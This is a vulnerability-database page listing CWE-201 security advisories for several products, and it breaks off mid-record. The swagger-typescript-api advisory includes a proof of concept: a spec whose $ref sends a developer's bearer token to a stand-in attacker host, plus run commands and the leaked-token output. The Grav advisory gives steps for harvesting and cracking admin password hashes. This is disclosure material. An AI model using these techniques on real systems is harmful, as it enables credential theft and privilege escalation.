CWE-201
AllowedInsertion of Sensitive Information Into Sent Data
Abstraction: Base · Status: Draft
The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
750 vulnerabilities reference this CWE, most recent first.
GHSA-G8XQ-W7G6-JC3V
Vulnerability from github – Published: 2024-09-26 18:31 – Updated: 2024-10-04 21:31The goTenna Pro broadcast key name is always sent unencrypted and could reveal the location of operation.
{
"affected": [],
"aliases": [
"CVE-2024-47128"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-26T18:15:09Z",
"severity": "MODERATE"
},
"details": "The goTenna Pro broadcast key name is always sent unencrypted and could reveal the location of operation.",
"id": "GHSA-g8xq-w7g6-jc3v",
"modified": "2024-10-04T21:31:28Z",
"published": "2024-09-26T18:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47128"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-270-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GGW7-9675-6V4V
Vulnerability from github – Published: 2026-05-11 19:32 – Updated: 2026-06-05 14:12Using a crafted POST request to bug_monitor_add.php, a user with project-level access can add themselves as a monitor for a private issue they do not have access to. Despite displaying an Access Denied error, the application accepts the request and creates a monitor relationship for the private issue.
Impact
Direct access to the private issue remains blocked, but the user will receive email notifications for updates, leading to disclosure of the private issue's metadata and content.
Patches
- 0a93267deba445fb9d15250c16e6fdb1246ffa65
Workarounds
None
Credits
Thanks to Vishal Shukla for discovering and responsibly reporting the issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.28.1"
},
"package": {
"ecosystem": "Packagist",
"name": "mantisbt/mantisbt"
},
"ranges": [
{
"events": [
{
"introduced": "2.26.1"
},
{
"fixed": "2.28.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34579"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T19:32:22Z",
"nvd_published_at": "2026-05-19T23:16:57Z",
"severity": "MODERATE"
},
"details": "Using a crafted POST request to bug_monitor_add.php, a user with project-level access can add themselves as a monitor for a private issue they do not have access to. Despite displaying an Access Denied error, the application accepts the request and creates a monitor relationship for the private issue.\n\n\n### Impact\nDirect access to the private issue remains blocked, but the user will receive email notifications for updates, leading to disclosure of the private issue\u0027s metadata and content.\n\n### Patches\n- 0a93267deba445fb9d15250c16e6fdb1246ffa65\n\n### Workarounds\nNone\n\n### Credits\nThanks to Vishal Shukla for discovering and responsibly reporting the issue.",
"id": "GHSA-ggw7-9675-6v4v",
"modified": "2026-06-05T14:12:21Z",
"published": "2026-05-11T19:32:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mantisbt/mantisbt/security/advisories/GHSA-ggw7-9675-6v4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34579"
},
{
"type": "WEB",
"url": "https://github.com/mantisbt/mantisbt/commit/0a93267deba445fb9d15250c16e6fdb1246ffa65"
},
{
"type": "PACKAGE",
"url": "https://github.com/mantisbt/mantisbt"
},
{
"type": "WEB",
"url": "https://mantisbt.org/bugs/view.php?id=36975"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MantisBT has an authorization bypass in private issue monitoring"
}
GHSA-GMC2-JR7Q-3WHV
Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-04-01 18:35Insertion of Sensitive Information Into Sent Data vulnerability in Crocoblock JetTricks allows Retrieve Embedded Sensitive Data. This issue affects JetTricks: from n/a through 1.5.4.1.
{
"affected": [],
"aliases": [
"CVE-2025-53992"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T08:15:44Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Crocoblock JetTricks allows Retrieve Embedded Sensitive Data. This issue affects JetTricks: from n/a through 1.5.4.1.",
"id": "GHSA-gmc2-jr7q-3whv",
"modified": "2026-04-01T18:35:55Z",
"published": "2025-08-20T09:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53992"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/jet-tricks/vulnerability/wordpress-jettricks-1-5-4-1-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GMF9-8JMV-V2Q8
Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-21 21:32SoupAuthManager caches proxy authentication credentials without scoping them to the proxy authority (host:port). When the proxy configuration changes (e.g., via system settings or WPAD), cached Proxy-Authorization headers from the previous proxy are sent to the new proxy, leaking credentials.
{
"affected": [],
"aliases": [
"CVE-2026-12547"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T19:17:09Z",
"severity": "LOW"
},
"details": "SoupAuthManager caches proxy authentication credentials without scoping them to the proxy authority (host:port). When the proxy configuration changes (e.g., via system settings or WPAD), cached Proxy-Authorization headers from the previous proxy are sent to the new proxy, leaking credentials.",
"id": "GHSA-gmf9-8jmv-v2q8",
"modified": "2026-07-21T21:32:39Z",
"published": "2026-07-21T21:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12547"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-12547"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489994"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/work_items/506"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GQ3G-666W-7H85
Vulnerability from github – Published: 2025-12-02 00:37 – Updated: 2025-12-02 00:37Exposure of Password Hashes Leading to privilege escalation
Severity Rating: Medium
Vector: Privilege Escalation
CVE: XXX
CWE: 200 - Exposure of Sensitive Information
CVSS Score: 6.2
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L
Analysis
It was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes.
An attacker with read access can: * View and potentially crack the password hashes. * Gain administrative access by cracking the admin password hash. * Escalate privileges and compromise the entire admin panel.
Proof of Concept
1) Give read access to user accounts to a random user as shown in the following figures:
2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section.
3) Go to the admin profile http://127.0.0.1/admin/accounts/users/admin; The password is not display. Try inspecting the page source code as shown in the following figures:
You can see that it match the hash that is in the admin.yaml file :
4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt:
Workarounds
No workaround is currently known
Timeline
2024-07-24 Issue identified
2024-09-27 Vendor contacted
About X41 D-Sec GmbH
X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.
Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.0-beta.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66304"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T00:37:07Z",
"nvd_published_at": "2025-12-01T22:15:50Z",
"severity": "MODERATE"
},
"details": "# Exposure of Password Hashes Leading to privilege escalation\n**Severity Rating:** Medium \n\n**Vector:** Privilege Escalation\n\n**CVE:** XXX\n\n**CWE:** 200 - Exposure of Sensitive Information\n\n**CVSS Score:** 6.2\n\n**CVSS Vector:** CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L\n\n## Analysis\n\nIt was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes.\n\nAn attacker with read access can: \n* View and potentially crack the password hashes.\n* Gain administrative access by cracking the admin password hash.\n* Escalate privileges and compromise the entire admin panel.\n\n\n## Proof of Concept\n\n1) Give read access to user accounts to a random user as shown in the following figures:\n \n \n \n\n2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section.\n\n3) Go to the admin profile `http://127.0.0.1/admin/accounts/users/admin`; The password is not display. Try inspecting the page source code as shown in the following figures:\n \n \n You can see that it match the hash that is in the admin.yaml file :\n \n \n\n4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt:\n \n\n \n\n## Workarounds\nNo workaround is currently known\n\n# Timeline\n**2024-07-24** Issue identified\n\n**2024-09-27** Vendor contacted\n\n\n# About X41 D-Sec GmbH\nX41 is an expert provider for application security services.\nHaving extensive industry experience and expertise in the area of information\nsecurity, a strong core security team of world class security experts enables\nX41 to perform premium security services.\n\nFields of expertise in the area of application security are security centered\ncode reviews, binary reverse engineering and vulnerability discovery.\nCustom research and IT security consulting and support services are core\ncompetencies of X41.",
"id": "GHSA-gq3g-666w-7h85",
"modified": "2025-12-02T00:37:07Z",
"published": "2025-12-02T00:37:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-gq3g-666w-7h85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66304"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/9d11094e4133f059688fad1e00dbe96fb6e3ead7"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Grav Exposes Password Hashes Leading to privilege escalation"
}
GHSA-GR9M-C25C-RJ65
Vulnerability from github – Published: 2025-06-09 18:32 – Updated: 2026-04-01 18:35Insertion of Sensitive Information Into Sent Data vulnerability in MultiVendorX MultiVendorX allows Retrieve Embedded Sensitive Data. This issue affects MultiVendorX: from n/a through 4.2.22.
{
"affected": [],
"aliases": [
"CVE-2025-48261"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-09T16:15:44Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in MultiVendorX MultiVendorX allows Retrieve Embedded Sensitive Data. This issue affects MultiVendorX: from n/a through 4.2.22.",
"id": "GHSA-gr9m-c25c-rj65",
"modified": "2026-04-01T18:35:25Z",
"published": "2025-06-09T18:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48261"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/dc-woocommerce-multi-vendor/vulnerability/wordpress-multivendorx-4-2-22-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GVGP-M8MG-49XW
Vulnerability from github – Published: 2024-09-18 15:30 – Updated: 2024-09-18 15:30An attacker with access to the network where the CIRCUTOR Q-SMT is located in its firmware version 1.0.4, could obtain legitimate credentials or steal sessions due to the fact that the device only implements the HTTP protocol. This fact prevents a secure communication channel from being established.
{
"affected": [],
"aliases": [
"CVE-2024-8890"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-18T13:15:03Z",
"severity": "HIGH"
},
"details": "An attacker with access to the network where the CIRCUTOR Q-SMT is located in its firmware version 1.0.4, could obtain legitimate credentials or steal sessions due to the fact that the device only implements the HTTP protocol. This fact prevents a secure communication channel from being established.",
"id": "GHSA-gvgp-m8mg-49xw",
"modified": "2024-09-18T15:30:49Z",
"published": "2024-09-18T15:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8890"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-circutor-products"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H754-FXP7-88WX
Vulnerability from github – Published: 2026-07-29 14:22 – Updated: 2026-07-29 14:22Summary
When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.
The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.
Details
The header-builder lives in src/resolved-swagger-schema.ts:81-92:
private getRemoteRequestHeaders(): Record<string, string> {
return Object.assign(
{},
this.config.authorizationToken
? {
Authorization: this.config.authorizationToken,
}
: {},
(this.config.requestOptions?.headers as
| Record<string, string>
| undefined) || {},
);
}
There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional.
getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});
…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.
Net effect: a spec whose response schema is
{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }
causes the generator to send
GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>
to attacker.example, regardless of where the original spec was hosted.
The --authorizationToken flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the intended configuration for any non-public spec.
PoC
Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):
{
"openapi": "3.0.0",
"info": { "title": "TokenLeak-payload", "version": "1.0.0" },
"paths": {
"/p": {
"get": {
"operationId": "p",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
}
}
}
}
}
}
}
}
}
Steps:
# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with --authorizationToken set.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
output: '/tmp/out',
url: 'http://127.0.0.1:<spec-port>/spec.json',
authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
httpClientType: 'fetch'
}))"
Observed:
[control] (no cross-origin $ref) → attacker-server hits: 0
[payload] ($ref → http://attacker)
attacker-server hits: 1
hit: /EXFIL_ENDPOINT/data.json Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123
TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim
The attacker-controlled endpoint received the developer's full Bearer ... token verbatim, sent by the generator while resolving the spec's $ref.
Impact
Type: Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.
Affected use cases:
- A developer fetching a private OpenAPI spec behind authentication (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of
--authorizationToken. - A CI/CD pipeline regenerating clients from a private spec on every build — the CI's authentication token (often a long-lived service-account credential) leaks on every run.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs — a tenant's malicious spec captures the SaaS provider's API key.
- Any project where a contributor can modify the pinned spec via PR — the project's CI credentials leak on first build of the malicious PR.
Lifecycle: generation-time. The token leak happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.
Privilege of stolen token: typically the developer's API authentication for the target service — a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft — the attacker gains the same scope of access the developer had.
Suggested fix:
The minimum sufficient fix is a same-origin check on the Authorization header forwarding:
// in src/resolved-swagger-schema.ts:81-92
private getRemoteRequestHeaders(targetUrl?: string): Record<string, string> {
const headers: Record<string, string> = {};
// Only attach Authorization if the target URL shares an origin with the
// user-supplied spec URL. Otherwise the token is leaked across origins.
if (
this.config.authorizationToken &&
targetUrl &&
this.isSameOrigin(targetUrl, this.config.url)
) {
headers.Authorization = this.config.authorizationToken;
}
return Object.assign(
headers,
(this.config.requestOptions?.headers as Record<string, string> | undefined) || {},
);
}
private isSameOrigin(a: string, b: string | undefined): boolean {
if (typeof b !== "string") return false;
try {
const ua = new URL(a);
const ub = new URL(b);
return ua.protocol === ub.protocol && ua.host === ub.host;
} catch {
return false;
}
}
Then update the call site fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374) to pass the destination URL:
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(url),
});
This is the same model browsers apply to credentialed fetch requests by default. It does not break legitimate same-server $refs — those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.
For deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54660"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201",
"CWE-522",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:22:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWhen the developer supplies an `--authorizationToken` (commonly required to fetch a private spec behind authentication), `swagger-typescript-api` attaches that token to the `Authorization` header of **every** subsequent HTTP request it makes while resolving external `$ref` URLs in the spec \u2014 with **no same-origin check, no host allowlist, and no scope-down** for cross-origin requests. A malicious OpenAPI spec containing a `$ref` to an attacker-controlled URL therefore causes the developer\u0027s bearer token to be sent verbatim to that URL during code generation.\n\nThe threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.\n\n### Details\n\nThe header-builder lives in `src/resolved-swagger-schema.ts:81-92`:\n\n```ts\nprivate getRemoteRequestHeaders(): Record\u003cstring, string\u003e {\n return Object.assign(\n {},\n this.config.authorizationToken\n ? {\n Authorization: this.config.authorizationToken,\n }\n : {},\n (this.config.requestOptions?.headers as\n | Record\u003cstring, string\u003e\n | undefined) || {},\n );\n}\n```\n\nThere is no check that the request\u0027s destination URL shares an origin (or scheme, or host, or even top-level domain) with `this.config.url` \u2014 the URL the user originally specified. The headers object is unconditional.\n\n`getRemoteRequestHeaders` is called by `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`):\n\n```ts\nconst response = await fetch(url, {\n headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026which is in turn called by `warmUpRemoteSchemasCache` (`src/resolved-swagger-schema.ts:399-445`) for every external `$ref` URL discovered while walking the spec.\n\nNet effect: a spec whose response schema is\n\n```json\n{ \"$ref\": \"http://attacker.example/exfil-endpoint/data.json\" }\n```\n\ncauses the generator to send\n\n```\nGET /exfil-endpoint/data.json HTTP/1.1\nHost: attacker.example\nAuthorization: \u003cfull value of --authorizationToken\u003e\n```\n\nto `attacker.example`, regardless of where the original spec was hosted.\n\nThe `--authorizationToken` flag is the standard mechanism for consuming a spec behind auth \u2014 for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting `--authorizationToken` is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be the attacker\u0027s exfil endpoint \u2014 run the generator with `authorizationToken` set, observe what the attacker endpoint received). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"TokenLeak-payload\", \"version\": \"1.0.0\" },\n \"paths\": {\n \"/p\": {\n \"get\": {\n \"operationId\": \"p\",\n \"responses\": {\n \"200\": {\n \"description\": \"OK\",\n \"content\": {\n \"application/json\": {\n \"schema\": {\n \"$ref\": \"http://127.0.0.1:\u003cattacker-port\u003e/EXFIL_ENDPOINT/data.json\"\n }\n }\n }\n }\n }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"attacker\" HTTP server on a different port from the spec server.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Run the generator with --authorizationToken set.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n output: \u0027/tmp/out\u0027,\n url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n authorizationToken: \u0027Bearer USER_GITHUB_PAT_super_secret_xyz123\u0027,\n httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed:**\n\n```\n[control] (no cross-origin $ref) \u2192 attacker-server hits: 0\n[payload] ($ref \u2192 http://attacker)\n attacker-server hits: 1\n hit: /EXFIL_ENDPOINT/data.json Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123\n TOKEN LEAKED \u2014 attacker server received user-supplied authorizationToken verbatim\n```\n\nThe attacker-controlled endpoint received the developer\u0027s full `Bearer ...` token verbatim, sent by the generator while resolving the spec\u0027s `$ref`.\n\n### Impact\n\n**Type:** Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.\n\n**Affected use cases:**\n\n- **A developer fetching a private OpenAPI spec behind authentication** (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of `--authorizationToken`.\n- **A CI/CD pipeline regenerating clients from a private spec on every build** \u2014 the CI\u0027s authentication token (often a long-lived service-account credential) leaks on every run.\n- **A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs** \u2014 a tenant\u0027s malicious spec captures the SaaS provider\u0027s API key.\n- **Any project where a contributor can modify the pinned spec via PR** \u2014 the project\u0027s CI credentials leak on first build of the malicious PR.\n\n**Lifecycle:** generation-time. The token leak happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Privilege of stolen token:** typically the developer\u0027s API authentication for the target service \u2014 a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft \u2014 the attacker gains the same scope of access the developer had.\n\n**Suggested fix:**\n\nThe minimum sufficient fix is a same-origin check on the `Authorization` header forwarding:\n\n```ts\n// in src/resolved-swagger-schema.ts:81-92\nprivate getRemoteRequestHeaders(targetUrl?: string): Record\u003cstring, string\u003e {\n const headers: Record\u003cstring, string\u003e = {};\n\n // Only attach Authorization if the target URL shares an origin with the\n // user-supplied spec URL. Otherwise the token is leaked across origins.\n if (\n this.config.authorizationToken \u0026\u0026\n targetUrl \u0026\u0026\n this.isSameOrigin(targetUrl, this.config.url)\n ) {\n headers.Authorization = this.config.authorizationToken;\n }\n\n return Object.assign(\n headers,\n (this.config.requestOptions?.headers as Record\u003cstring, string\u003e | undefined) || {},\n );\n}\n\nprivate isSameOrigin(a: string, b: string | undefined): boolean {\n if (typeof b !== \"string\") return false;\n try {\n const ua = new URL(a);\n const ub = new URL(b);\n return ua.protocol === ub.protocol \u0026\u0026 ua.host === ub.host;\n } catch {\n return false;\n }\n}\n```\n\nThen update the call site `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`) to pass the destination URL:\n\n```ts\nconst response = await fetch(url, {\n headers: this.getRemoteRequestHeaders(url),\n});\n```\n\nThis is the same model browsers apply to credentialed `fetch` requests by default. It does not break legitimate same-server `$ref`s \u2014 those still authenticate normally. It only strips the token when the target\u0027s origin differs from the spec source\u0027s origin.\n\nFor deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-h754-fxp7-88wx",
"modified": "2026-07-29T14:22:46Z",
"published": "2026-07-29T14:22:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-h754-fxp7-88wx"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`"
}
GHSA-H8WR-2QX3-3R42
Vulnerability from github – Published: 2025-04-17 18:31 – Updated: 2026-04-01 18:34Insertion of Sensitive Information Into Sent Data vulnerability in WPMinds Simple WP Events allows Retrieve Embedded Sensitive Data. This issue affects Simple WP Events: from n/a through 1.8.17.
{
"affected": [],
"aliases": [
"CVE-2025-32594"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T16:15:45Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in WPMinds Simple WP Events allows Retrieve Embedded Sensitive Data. This issue affects Simple WP Events: from n/a through 1.8.17.",
"id": "GHSA-h8wr-2qx3-3r42",
"modified": "2026-04-01T18:34:49Z",
"published": "2025-04-17T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32594"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/simple-wp-events/vulnerability/wordpress-simple-wp-events-plugin-1-8-17-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
